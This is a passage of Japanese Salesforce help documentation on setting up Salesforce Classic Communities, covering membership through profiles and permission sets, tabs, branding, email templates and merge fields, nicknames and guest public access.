るようにする必要があります。有効化するときにお知らせメールが有効になっ
ていると、すべてのメンバーにお知らせメールが送信されます。新しいポータ
ルユーザには、お知らせメールにユーザ名とパスワードが含まれます。
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コミュニティへのメンバーの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

設定プロセス時にプロファイルと権限セットを使用して、コミュニティのメン
バーシップを管理します。
プロファイルおよび権限セットを使用して、次の操作を実行できます。
• ユーザグループのアクセス権を付与または削除する。プロファイルまたは権

限セットを追加すると、そのプロファイルまたは権限セットに割り当てられ
たすべてのユーザがコミュニティのメンバーになります。

• メンバー種別ポリシーを適用する。コミュニティにすでに関連付けられてい
るプロファイルまたは権限セットに追加された新しいユーザには、アクセス
権が自動的に付与されます。

権限セットを使用すると、メンバーを柔軟に追加できます。プロファイルをコ
ピーしなくても、同じプロファイルのユーザのサブセットにコミュニティアク
セス権を付与できます。
標準プロファイル、Chatter プロファイル、およびポータルプロファイルは、コ
ミュニティに追加できます。顧客を含む非公開グループの Chatter 顧客は、コ
ミュニティに関連付けられたプロファイルまたは権限セットが割り当てられて
いてもコミュニティには追加できません。

メモ: コミュニティに関連付けられたプロファイルまたは権限セットは、
Salesforce から削除できません。まず、プロファイルまたは権限セットをコ
ミュニティから削除する必要があります。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [メンバー] をクリックします。
3. プロファイルを使用してメンバーを追加する手順は、次のとおりです。

a. プロファイルを絞り込むには、ドロップダウンメニューからプロファイル種別を選択します。特定のプ
ロファイルを検索するには、検索条件を入力し、[検索] をクリックします。
選択した検索条件のプロファイルが返されます。

メモ: 検索結果には、すでにコミュニティの一部であるプロファイルが含まれます。

b. コミュニティへのアクセスを許可するユーザプロファイルを選択します。複数のプロファイルは、Ctrl

キーを押しながら選択します。
c. [追加]をクリックします。プロファイルを削除するには、目的のプロファイルを選択し、[削除]をクリッ

クします。
プロファイルをコミュニティから削除すると、コミュニティの一部である権限セットまたは他のプロ
ファイルに割り当てられていない限り、そのプロファイルを持つユーザはコミュニティにアクセスでき
なくなります。ユーザの投稿およびコメントは引き続き表示されます。

重要: システム管理者が自分自身をコミュニティから誤って削除すると、[コミュニティ管理] また
はコミュニティワークスペースの管理設定にアクセスできなくなります。コミュニティに自分自身
を追加し直すか、他のメンバーシップ更新を行うには、API を使用します。
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4. 権限セットを使用してメンバーを追加する手順は、次のとおりです。
a. 特定の権限セットを検索するには、検索条件を入力し、[検索] をクリックします。
b. コミュニティへのアクセスを許可する権限セットを選択します。複数の権限セットは、Ctrl キーを押し

ながら選択します。
c. [追加] をクリックします。

権限セットをコミュニティから削除すると、コミュニティの一部であるプロファイルまたは他の権限
セットに関連付けられていない限り、その権限セットを持つユーザはコミュニティにアクセスできなく
なります。アクセスできなくなった後でも、ユーザの投稿およびコメントは引き続き表示されます。

5. [保存] をクリックします。
コミュニティが [有効] でありお知らせメールが有効化されていると、追加したプロファイルまたは権限
セットを持つユーザにお知らせメールが送信されます。ポータルまたはコミュニティにまだログインして
いない外部ユーザにお知らせメールが送信される場合は、ユーザ名とパスワードの変更リンクがお知らせ
メールに含まれます。

コミュニティが [有効] である場合は、お知らせメールが送信され、コミュニティをメンバー別に検出できま
す。コミュニティの状況が [プレビュー] の場合は、ログイン URL を持つメンバーのみがコミュニティを参照
できます。コミュニティが [無効] の場合は、メンバー種別に関係なく「コミュニティの作成と設定」権限を
持つユーザのみが [コミュニティ] メニューからアクセスできます。
コミュニティへのアクセス権の付与には、次の追加オプションもあります。
• 外部ユーザが自身を登録できるセルフ登録を有効にする
• 外部ユーザがアカウントを作成しなくてもコミュニティにログインできるようにするため、Facebook など

の認証プロバイダを有効にする
これらの追加オプションについての詳細は、「コミュニティのログイン、ログアウト、およびセルフ登録ペー
ジのカスタマイズ」を参照してください。

関連トピック:

コミュニティのカスタマイズ
コミュニティのグローバルヘッダーの有効化

API を使用してコミュニティのメンバーシップを更新するには?

コミュニティのメンバーでない場合は、コミュニティ管理にアクセスして、メンバーシップを含む管理設定を
更新できません。代わりに、API とデータローダを使用して、自分および他のユーザをコミュニティに追加で
きます。

ヒント: ワークベンチなど他のデータローダを使用して、コミュニティのメンバーシップを更新すること
もできます。

1. コミュニティの networkId を取得します。
[設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力し、[すべてのコミュニティ] を選
択し、コミュニティ URL を右クリックして[検査]を選択します。data-networkIdプロパティに networkId

が示されます。
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2. 追加する profileId または permissionsetId を取得します。
[設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] または [権限セット] を
選択します。追加するプロファイルまたは権限セットをクリックします。URL の最後の部分が ID です。
たとえば、mycompany.salesforce.com/00aa11bb22 の場合、00aa11bb22 が ID です。

3. networkId 列と parentId 列がある .csv ファイルを作成します。parentId には、追加する profileId

または permissionsetId をリストします。
4. データローダを開いて、[ネットワークメンバーグループ]オブジェクトを選択します。作成した .csv ファイ

ルの保存先を指定して、データローダの手順を実行します。
データローダを使用してメンバーが正常に追加されると、メンバーが [設定] の [すべてのコミュニティ]ページ
にある [管理] リンクからコミュニティ管理にアクセスできるようになります。

メモ: コミュニティ管理にアクセスするためには、メンバーに「コミュニティの作成および設定」または
「コミュニティの管理」権限も必要です。

関連トピック:

データローダを使用したデータの挿入、更新、または削除

コミュニティへのタブの追加

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

Salesforce タブ + Visualforce テンプレートを使用している場合、コミュニティにタ
ブを追加できます。

ヒント: コミュニティですべてのカスタムページを使用する場合は、タブ
を非表示にすることができます。どちらのオプションが最適かを判断でき
ない場合は、「タブとコミュニティビルダー」 (ページ3902)を参照してくだ
さい。

開始する前に、次の点に注意してください。
• パートナーとの取引先および商談の共有であるか、サポートを必要とする顧

客とのケースおよびソリューションの共有であるかに関係なく、このコミュ
ニティで実行する活動に必要なタブを有効化する必要があります。ユーザに
とって不要なタブをコミュニティに乱雑に含めることは避けてください。

• プロファイルではタブへのアクセスが制御されるため、選択した一部のタブ
が、コミュニティに関連付けられたプロファイルで非表示になる可能性があ
ります。その場合は、コミュニティメンバーのプロファイルでタブを手動で
公開して、コミュニティでタブが表示されるようにする必要があります。

• Lightning コンポーネントのタブは、コミュニティではサポートされていませ
ん。

• コミュニティの Chatter Free ユーザには、Chatter タブ以外のタブは一切表示さ
れません。

コミュニティメンバーに表示する機能を特定したら、設定中に対応するタブを選択して、それらの機能を公開
できます。選択したタブにより、Salesforce1 でのコミュニティのナビゲーションも決まります。
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1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [タブ] をクリックします。

ヒント:  [SalesforceタブとVisualforce] の代わりに事前設定されたいずれかのテンプレートを使用している
と、デフォルトでは [タブ]ページが非表示になります。ページを表示するには、[管理] > [個人設定]を
クリックし、[コミュニティ管理のすべての設定を表示]または[コミュニティワークスペースのすべて
の設定を表示] を選択します。

3. コミュニティに含めるタブを [選択可能なタブ] リストから選択します。複数のタブは、Ctrl キーを押しなが
ら選択します。

4. [追加]をクリックして、タブを追加します。タブを削除するには、[選択されたタブ] リストからタブを選択
し、[削除] をクリックします。

5. タブの表示順を変更するには、[上へ] または [下へ] をクリックします。
リストの先頭にあるタブは、コミュニティで最初に表示されるタブです。メンバーがコミュニティにアク
セスするときに、最初に表示されます。
コミュニティで最初に表示されるタブへのアクセス権がないメンバーには、選択されたコミュニティタブ
のリスト内でアクセス権のある最初のタブが表示されます。どのタブへのアクセス権もない場合は、[ホー
ム] タブが表示されます。

6. [保存] をクリックします。

重要: Salesforceタブ + Visualforceテンプレートからコミュニティビルダーベースのテンプレートに変更する
と、すべてのタブがコミュニティから削除されます。

関連トピック:

コミュニティのカスタマイズ
Chatter タブの名前変更

タブとコミュニティビルダー
コミュニティの設定時に、標準のSalesforceタブまたはコミュニティビルダーのいずれかを使用できます。この
どちらを使用するかを決定するために役立つ、各オプションの詳細情報を次に示します。

Tabs

コミュニティの作成時に、[Salesforce タブ + Visualforce] テンプレートを選択した場合、標準の Salesforce タブまた
は Visualforce ページを使用することになります。
プラス面

• 標準でタブのいくつかのテーマオプションを使用できる
• すべての営業、サービス、マーケティング、プラットフォーム機能がサポートされている
• Force.com プラットフォームのフル機能
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マイナス面
• Visualforce は高度なカスタマイズにより適した方法だが、Visualforce の利用にはコーディング能力が必要

である
• Force.com プラットフォームのある程度の知識が必要である

コミュニティビルダー
コミュニティの作成時に、事前設定されたいずれかのテンプレートを選択した場合、コミュニティビルダーの
WYSIWYG ユーザインターフェースを使用することになります。
プラス面

• 標準のアプリケーションがセルフサービスコミュニティを対象としている
• より多くの CSS スタイルを使用できる
• 単純なセルフサービスコミュニティの迅速なロールアウトに適している

マイナス面
• セルフサービス機能 (ケース、Salesforce ナレッジ、および Chatter の質問) に制限されている
• 他の営業、サービス、プラットフォーム機能がサポートされていない
• プラットフォームの完全な機能は使用できない

関連トピック:

コミュニティへのタブの追加
コミュニティビルダーの概要
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Chatter タブの名前変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Chatter タブの名前を変更
する
• 「アプリケーションの

カスタマイズ」

または

「設定・定義を参照す
る」

および

翻訳者として指定され
ていること

通常、コミュニティメンバーは、ホームベースとしてChatterタブを使用します。
このタブは、会社のブランドに合わせてカスタマイズできます。
Chatter タブを使用すると、コミュニティメンバーは、最重要事項 (活動フィー
ド、グループ、ブックマーク、ファイルなど) を最速で確認できます。通常、コ
ミュニティメンバーは、ホームベースとして Chatter タブを使用します。会社の
ブランドに合わせてコミュニティの Chatter タブの名前をカスタマイズします。
たとえば、会社名やメンバーが認識できるその他の名前を使用できます。
1. [設定] から、[クイック検索]ボックスに「タブと表示ラベルの名称変更」と入

力し、[タブと表示ラベルの名称変更] を選択します。
2. ページ上部にある [言語の選択] ドロップダウンリストから、デフォルト言

語を選択します。
3. コミュニティの Chatter タブで、編集するコミュニティの横にある [編集]をク

リックします。
4. 言語によって、必要があれば任意のタブ名の単数形と複数形 (Partner と Partners

など) を入力します。必要に応じて [母音で始まる場合はチェック] をクリッ
クします。

5. [保存]をクリックします。
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コミュニティのブランド設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

Salesforceタブ + Visualforceテンプレートを使用している場合は、会社のロゴ、色、
著作権表示を追加して、コミュニティワークスペースまたは[コミュニティ管理]

でコミュニティのデザインをカスタマイズできます。これにより、コミュニティ
が会社のブランド設定と一致し、コミュニティメンバーがただちに認識できる
ようになります。

重要: セルフサービステンプレートを使用しているか、カスタムページを
作成するために標準 Salesforce タブではなくコミュニティビルダーを選択し
た場合は、コミュニティビルダーを使用してコミュニティのブランド設定
を行うこともできます。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ブランド] をクリックします。
3. ルックアップを使用して、コミュニティのヘッダーとフッターを選択しま

す。
ヘッダーとフッター用に選択するファイルは、[ドキュメント] タブにアップ
ロード済みで、公開されている必要があります。ヘッダーに
は、.html、.gif、.jpg、または .png を使用できます。フッターは、.html ファイ
ルである必要があります。.html ファイルの合計最大サイズは 100 KB で
す。.gif、.jpg、または .png ファイルの最大サイズは 20 KB です。このため、
ヘッダーの .html ファイルが 70 KB で、.html ファイルをフッターにも使用する
場合は、30 KB 以内にする必要があります。
選択したヘッダーは、グローバルヘッダーの下にある Salesforce ロゴに置き換わります。選択したフッター
は、Salesforce 標準の著作権とプライバシーのフッターに置き換わります。

4. [配色を選択] をクリックして事前定義された配色を選択するか、ページ選択項目の横にあるテキストボッ
クスをクリックしてカラーピッカーから色を選択します。
選択した色の中には、コミュニティのログインページと、Salesforce1のコミュニティの外観にも影響を与え
るものもあります。

表示場所色の選択肢

黒のグローバルヘッダーの下のページ上部。[ヘッダー] 項目で HTML ファイルを選択
した場合は、この色が上書きされます。
ログインページ上部。

ヘッダー背景

Salesforce1 のログインページ。

ログインページを含む、コミュニティのすべてのページの背景色。ページ背景

選択されたタブ。プライマリ

リストとテーブルの上境界線。
ログインページのボタン。

セカンダリ
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表示場所色の選択肢

編集と詳細ページのセクションヘッダーの背景色。ターティアリ

5. [保存] をクリックします。

関連トピック:

コミュニティのカスタマイズ

コミュニティから送信されるメールのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティメールで、メールの送信者情報、Chatter メールのブランド設定、
およびテンプレートをカスタマイズできます。カスタマイズは、ユーザインター
フェースか、Salesforce API の Network オブジェクトのいずれかで実行できます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [メール] をクリックします。
3. メールの送信者名とアドレスにカスタム値を入力して、デフォルト値と置き

換えます。

メモ: 送信者のメールアドレスを変更すると、新しいアドレスに確認
メールが送信されます。変更は保留中となり、確認されるまで既存のア
ドレスが引き続き使用されます。要求したアドレスは、メールに含まれ
る確認リンクをクリックするまで有効になりません。新しいメールアド
レスの確認がすでに保留中であるときに新しい別のアドレスを指定する
と、最新の値が保持されて確認用に使用されます。

送信者のアドレスにカスタム値を入力し、メールリレーを有効化している場
合、Chatter メールでリレーが使用されます。

4. Chatter メールのフッターに表示する内容をカスタマイズします。

重要: ロゴおよびメールのフッターテキストは必須です。次の点に注意
してください。
• 組織の独自のロゴと情報で置き換えない限り、すべての Chatter メー

ルには、デフォルトにより Chatter ロゴと Salesforce 情報が表示されま
す。

• 以前にカスタマイズしたロゴまたはフッターテキストをデフォルト
値に戻すには、API を使用してこれらの項目を null に設定します。

a. デフォルトの Chatter ロゴと置き換えるロゴを選択します。
ロゴは、[ドキュメント] タブに存在するドキュメントであり、[外部参照可]としてマークされている必
要があります。透明背景で最大サイズが 150 x 50 ピクセルの画像が最適です。

b. デフォルトのフッターテキストと置き換えるカスタムテキストを 1,000 文字以内で入力します。
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デフォルトのテキストには、Salesforceの名前と物理アドレスが含まれています。適用するスパム対策法
規に準拠するため、組織の物理アドレスを含めることを強くお勧めします。

5. [お知らせメールを送信] を選択して、ユーザがコミュニティに追加されたときにメールを送信します。

重要: お知らせメールには、外部メンバー用のログイン情報が含まれます。このオプションを選択し
ないと、手動で外部メンバーにユーザ名とパスワードを送信する必要があります。

お知らせメールに記載されているリンクは、6 か月間有効です。
次の場合に、お知らせメールが送信されます。
• コミュニティの状況が [プレビュー] から [有効] に変更された。コミュニティの状況が [プレビュー]

または [無効] の場合は、メールは送信されません。
• システム管理者が新しいプロファイルまたは権限セットを [有効] コミュニティに追加した。
• [有効] コミュニティの一部であるプロファイルまたは権限セットがユーザに割り当てられた。

メモ: プロファイルまたは権限セットが複数のコミュニティの一部である場合は、そのプロファイル
または権限セットを持つユーザに、各コミュニティからお知らせメールが送信されます。最初のメー
ルには、ログイン情報が含まれますが、その後のコミュニティからのメールには、コミュニティへの
リンクのみが含まれます。

6. デフォルトのメールテンプレートを使用するか、ルックアップを使用して新しいコミュニティメンバーへ
のお知らせメール、パスワードを忘れた場合のメール、パスワードのリセットに関する通知メールに使用
する異なるテンプレートを選択します。組織でメールテンプレートを使用してケースコメントを送信する
場合は、テンプレートを選択できます (デフォルトでは提供されません)。
ユーザによって開始されたパスワードのリセットリンクは、24 時間で期限切れになります。システム管理
者によって開始されたパスワードのリセットのリンクには、有効期限がありません。デフォルトのテンプ
レートはすべてカスタマイズできます。

メモ: メールテンプレートのコンテンツをカスタマイズする場合は、{!Community_Url} 差し込み項
目を使用することをお勧めします。このカスタム差し込み項目ではコミュニティに一意の URL が入力
されるため、ユーザ宛のメールに正しいパラメータを持つ URL が含まれ、ログインまたはパスワード
変更するための適切なコミュニティにユーザが確実に移動されます。

7. [保存] をクリックします。
承認、ワークフロー、およびケースコメントの結果として送信されるメールは、コミュニティのメンバーシッ
プに基づいて送信されます。たとえば、ワークフローでメールがトリガされる場合、すべての受信者がコミュ
ニティのメンバーシップに基づいてグループ化され、1 つのメールが各グループに送信されます。ユーザが複
数の有効なコミュニティのメンバーである場合、メールは最も古い有効なコミュニティから送信されます。
これらの項目を API Network オブジェクトで使用して、コミュニティメールをカスタマイズする方法もありま
す。
• CaseCommentEmailTemplateId  — ケースに関するコメントを送信する場合に使用されるメールテンプ

レートの ID。
• ChangePasswordEmailTemplateId  — パスワードがリセットされたことをユーザに通知する場合に使用

されるメールテンプレートの ID。
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• EmailFooterLogoId  — コミュニティChatterメールのフッターに画像として表示される Document オブジェ
クトの ID。

• EmailFooterText  — コミュニティ Chatter メールのフッターに表示するテキスト。
• EmailSenderAddress  — 参照のみ。コミュニティメールの送信元となるメールアドレス。
• EmailSenderName  — コミュニティメールの送信元の名前。
• ForgotPasswordEmailTemplateId  — ユーザがパスワードを忘れたときに使用されるメールテンプレー

トの ID。
• NewSenderAddress  — EmailSenderAddressの新しい値として入力されまだ未確認のメールアドレス。

ユーザが送信者メールアドレスの変更を要求し、確認メールに正常に応答すると、NewSenderAddressの
値が EmailSenderAddress の値に上書きされます。これは、コミュニティメールの送信元のメールアド
レスになります。
– 新規メールアドレスの確認が待機中のときに NewSenderAddressを null に設定すると、確認要求がキャ

ンセルされます。
– 確認済みの新規アドレスに EmailSenderAddress が設定されると、NewSenderAddress は自動的に

null に設定されます。
– 新規メールアドレスの確認が待機中のときに、異なる新規アドレスをこの項目に指定すると、最新の値

のみが保持され確認に使用されます。
• OptionsSendWelcomeEmail  — 新しいユーザがコミュニティに追加されたときにお知らせメールを送信す

るかどうかを指定します。
• WelcomeEmailTemplateId  — 新しいコミュニティメンバーにお知らせメールを送信する場合に使用され

るメールテンプレートの ID。

関連トピック:

コミュニティの差し込み項目
コミュニティのカスタマイズ

コミュニティの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

差し込み項目をコミュニティのメールテンプレートに追加できます。
組織で Salesforce Communities を有効にすると、次の 3 つのテキストベースのメー
ルテンプレートが作成されます。
• コミュニティ: パスワード変更メール
• コミュニティ: パスワードを忘れた場合のメール
• コミュニティ: 新規メンバーお知らせメール
これらのテンプレートでは、一意の差し込み項目が使用されます。これらの差
し込み項目は、テンプレートの編集時に選択およびコピーすることはできませ
んが、手動で入力することはできます。これらの差し込み項目は、コミュニティ
に対して選択したテキストまたは HTML テンプレートで使用する場合にのみ正し
く動作します。
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説明項目名

コミュニティの作成時に入力したコミュニティ名。{!Community_Name}

コミュニティのログインページの URL。
https://acme.force.com/partners/login など。
この差し込み項目は、新しい外部ユーザに送信される
お知らせメールに含まれ、パスワードのリセットペー
ジへのリンクに URL が追加されます。

{!Community_Url}

この項目は、次のいずれかの場合にのみ入力されま
す。
• この項目を含むテンプレートが、コミュニティの

[新規メンバーのお知らせ] テンプレートとして選
択され、[お知らせメールを送信] が選択されてい
る。

• この項目を含むテンプレートが、[パスワードを忘
れた場合] または [パスワードの変更] テンプレート
として選択され、メールを受信するユーザがコミュ
ニティメンバーである外部ユーザである。

お知らせメールを受信するユーザのユーザ名。{!Receiving_User.Username}

Visualforce を使用して、コミュニティのカスタムメールテンプレートを作成できます、この場合、メールテン
プレートにカスタムの企業ブランド設定を使用できます。Visualforce メールテンプレートの場合は、次の表に
示すとおり、$Network グローバル差し込み項目種別とそのプロパティを使用します。

説明項目名

コミュニティの作成時に入力したコミュニティ名。$Network.Name

コミュニティのログインページの URL。
https://acme.force.com/partners/login など。
この差し込み項目は、新しい外部ユーザに送信される
お知らせメールに含まれ、パスワードのリセットペー
ジへのリンクに URL が追加されます。

$Network.NetworkUrlForUserEmails

この項目は、コミュニティでサポートされている 3 つ
のメール種別のいずれかのVisualforceメールテンプレー
トで使用される場合にのみ入力されます。

コミュニティでケース、承認、またはワークフローを使用している場合、{!<any_object>.Link} または
{!Case.Link} 差し込み項目を使用するメールテンプレートから作成されたメールには、コミュニティのレ
コードへのリンクが含まれます。メールを受信するユーザが複数の有効なコミュニティのメンバーである場
合、このリンクは最も古い有効なコミュニティに移動します。ユーザがすでにコミュニティにログインしてい
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て、メールのリンクをクリックすると、このリンクはそのコミュニティに移動します。ユーザがコミュニティ
のメンバーではない場合、このリンクは内部組織に移動します。ユーザがポータルおよびコミュニティのメン
バーである場合、このリンクはそのコミュニティに移動します。

説明項目名

使用場所{!Case.Link}

• 取引先責任者および所有者へのケースコメント通
知

• 取引先責任者へのケースの作成および更新通知

使用場所{!<any_object>.Link}

• 承認者および代理承認者に送信される承認申請
• ワークフローメールアラート

メールテンプレートがこれらの差し込み項目を使用しているかどうかを確認するには、[設定] の [クイック検
索] ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選択してから、メールテンプレー
トの横にある [編集] をクリックします。

関連トピック:

コミュニティから送信されるメールのカスタマイズ
メールテンプレートの管理
コミュニティから送信されるメールのカスタマイズ
メールテンプレートの管理
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コミュニティの設定の有効化

コミュニティ設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティの他の省略可能な機能 (ニックネーム表示、ゲストアクセス、非公
開メッセージ、ダイレクトメッセージ、コンテンツのフラグ設定、評価レベル
など) を有効にします。
これらの設定を使用するには、組織で Chatter を有効にする必要があります。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [個人設定] をクリックします。
3. 対象の設定を変更します。

一般情報
• コミュニティで氏名の代わりにニックネームを表示します。ニック

ネームの表示をコミュニティで有効にすると、プライバシーを強化
し、メンバー ID を保護できます。これは、未登録の訪問者がメンバー
プロファイルにアクセスできる公開コミュニティの場合に特に効果的
です。

• コミュニティの公開 Chatter コンテンツへのアクセスを有効にして、ゲ
ストユーザがログインせずにアクセスできるようにします。このアク
セスを許可することで導入が強化され、顧客が会社に直接ログイン、
登録、または連絡しなくても必要な情報を簡単に入手できるようにな
ります。

• Chatterメッセージを有効化します。これにより、コミュニティメンバー
は他の Chatter ユーザと安全に非公開の会話を行うことができます。外部ユーザに Chatter メッセージ
を公開するには、システム管理者が Salesforce タブ + Visualforce テンプレートを使用するコミュニティ
の Chatter タブも有効にする必要があります。

• ダイレクトメッセージを有効化します。これにより、コミュニティメンバーは、カスタマーサービ
ス (Napili) テンプレートを使用して作成されたコミュニティで安全に非公開の会話を行うことができ
ます。

• 認証済みユーザに対してカスタムブランド Visualforce エラーページを表示する場合は、カスタム
Visualforce エラーページを使用します。

• コミュニティの設定方法に基づいてデフォルトで非表示になっている、[コミュニティ管理]またはコ
ミュニティワークスペースで使用できるすべての設定を表示します。この設定を有効にすると、[コ
ミュニティ管理]およびコミュニティワークスペースで提供される動的なナビゲーションが上書きさ
れます。

[コミュニティ管理] またはコミュニティワークスペースにアクセスする
• コミュニティ内でのモデレーションのために、投稿、コメント、またはファイルへのフラグ設定を

メンバーに許可 (ページ4073)します。メンバーが不適切な言語や機密情報を含む項目にフラグを設定
する必要がある場合があります。
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• 評価を有効化 (ページ4110)します。これにより、コミュニティマネージャは、コミュニティに参加す
るユーザに対して報奨を与えるポイントシステムを設定できます。システム管理者は、ユーザプロ
ファイルに表示される、対応する評価レベルを設定します。

• 知識のあるユーザを有効にします (ページ4110)。これにより、トピックに関する知識のあるユーザを
見つけたり、トピックに関する知識のあるユーザを支持したりできます。

ファイル
• コミュニティにアップロードするファイルの最大サイズ (MB 単位) を設定します。
• コミュニティにアップロードできるファイルの種類を指定します。

4. [保存] をクリックします。

関連トピック:

コミュニティでの氏名に代わるニックネームの表示
コミュニティへの公開アクセスの有効化
認証済みユーザのカスタム Visualforce エラーページの使用
コミュニティでのメンバーによる項目のフラグ設定の有効化
コミュニティの評価の有効化
コミュニティのファイルの制限

コミュニティでの氏名に代わるニックネームの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ニックネームの表示を有
効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

ニックネームの表示をコミュニティで有効にすると、プライバシーを強化し、
メンバー ID を保護できます。これは、未登録の訪問者がメンバープロファイル
にアクセスできる公開コミュニティの場合に特に効果的です。
デフォルトではすべてのユーザにニックネームがあり、グローバルヘッダーの
あなたの名前  > [連絡先情報の編集] または Chatter ユーザプロファイルでニック
ネームを変更できます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [個人設定] をクリックします。
3. [ニックネームの表示の有効化] を選択し、[保存] をクリックします。
ニックネームは、フィード、リストビュー、グループ、検索結果、おすすめ、
ユーザプロファイル、ファイルなど、コミュニティのほとんどのすべての場所
で氏名の代わりに表示されます。また、Salesforce1 や、コミュニティテンプレー
トを使用して有効化されたコミュニティでも、ニックネームが表示されます。
ニックネームの表示についての留意すべき制限事項
• 非公開メッセージには氏名が表示されます。これを回避するには、非公開

メッセージを無効にします。
• レコードとレコードのユーザ検索には氏名が表示されます。ただし、レコー

ドとユーザの表示は共有ルールを使用して制御できます。
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• Salesforce1のモバイル通知には氏名が表示されます。これを回避するには、Salesforce1のモバイル通知を無効
にします。

• 姓、名、および氏名による検索は制限されず、一致する結果を返しますが、検索結果にはニックネームの
みが表示されます。グローバル検索のオートコンプリートの推奨と最近使ったデータのリストには、姓、
名、および氏名が表示されます。これは、ユーザがすでに検索したり、レコードまたは別の場所経由でア
クセスしたりした内容です。

関連トピック:

コミュニティ設定のカスタマイズ

コミュニティへの公開アクセスの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティコンテンツ
への公開アクセスを有効
化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

ゲスト (ライセンスのない) ユーザがコミュニティへのログインまたは登録を要
求されることなく、コミュニティにアクセスできるようにします。
公開コミュニティは、B2C (企業対消費者) での活用に適しており、幅広い利用者
にアプローチできます。カスタマーサポートコミュニティの例を考えてみましょ
う。コミュニティに、公開されている議論、既知の問題、および他のコミュニ
ティメンバーやカスタマーサポートによって投稿されるソリューションのよう
なコンテンツがあれば、既存の顧客および潜在的な顧客は、ログインしなくて
も情報を参照できます。
コミュニティへの公開アクセスは、ゲストユーザプロファイルに付与したアク
セスレベルによって異なります。ゲストユーザの Chatter コンテンツへの API アク
セスが有効になっていることを確認してください。

メモ: コミュニティビルダーからページレベルで公開コンテンツへのアク
セスを制御することもできます。

ゲストユーザプロファイル
コミュニティ作成ウィザードを使用してコミュニティを作成した場合は常に、
Salesforce が自動的にコミュニティのゲストユーザプロファイルを作成します。
次のいずれかの方法でゲストユーザプロファイルにアクセスし、プロファイル
設定を変更してコミュニティの公開コンテンツへのアクセスを解放または制限
できます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. Salesforce タブ + Visualforce テンプレートを使用するコミュニティの場合、次の操作を実行します。

a. [管理] で、[ページ] をクリックして、[Force.com に移動] をクリックします。
b. サイト設定ページで、[公開アクセス設定] をクリックしてゲストプロファイルページを編集します。
c. プロファイルアクセス権限を更新するには、[編集] をクリックして更新を行います。
d. [保存] をクリックします。

テンプレート主導のコミュニティの場合、コミュニティビルダー設定からゲストユーザプロファイルにアクセ
スすることもできます。[全般] をクリックし、[ゲストユーザプロファイル] セクションのリンクをクリックし
ます。
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メモ:

• 組織で Chatterのプロファイルベースのロールアウトを有効化している場合、ゲストユーザプロファイ
ルで Chatterアクセスを有効化するまで、ゲストユーザは公開コミュニティにアクセスできません。詳
細は、Salesforce ヘルプの「ユーザプロファイルを使用した Chatter アクセス権の制御」を参照してくだ
さい。

• ページのバリエーションとページレベル設定がコミュニティページへのアクセスを制御します。

ゲストユーザの Chatter への API アクセスの有効化
コミュニティで次の Lightning および Visualforce のページとコンポーネントがゲストユーザ向けに正しく読み込
まれるには、基礎となる Chatter 機能へのアクセスが必要です。
• ケース
• 主要フィード
• フィード
• グループ
• グループの詳細
• 見出し
• レコード情報タブ
• 関連リスト
• 評価
• 検索パブリッシャーと投稿パブリッシャー
Chatter 機能へのアクセスを有効にするには、コミュニティワークスペースまたは [コミュニティ管理]にアクセ
スします。
1. [管理] > [個人設定] をクリックします。
2. [Chatter に対する公開 API 要求へのアクセス権を付与] を選択し、[保存] をクリックします。
ゲストユーザプロファイルおよび API を介した公開アクセスを有効にするには、独自のコミュニティページを
最初から作成する場合に便利な Chatter in Apex でゲストユーザのデータを公開します。

関連トピック:

コミュニティ設定のカスタマイズ
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_connectapi_public_communities.htm
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認証済みユーザのカスタム Visualforce エラーページの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

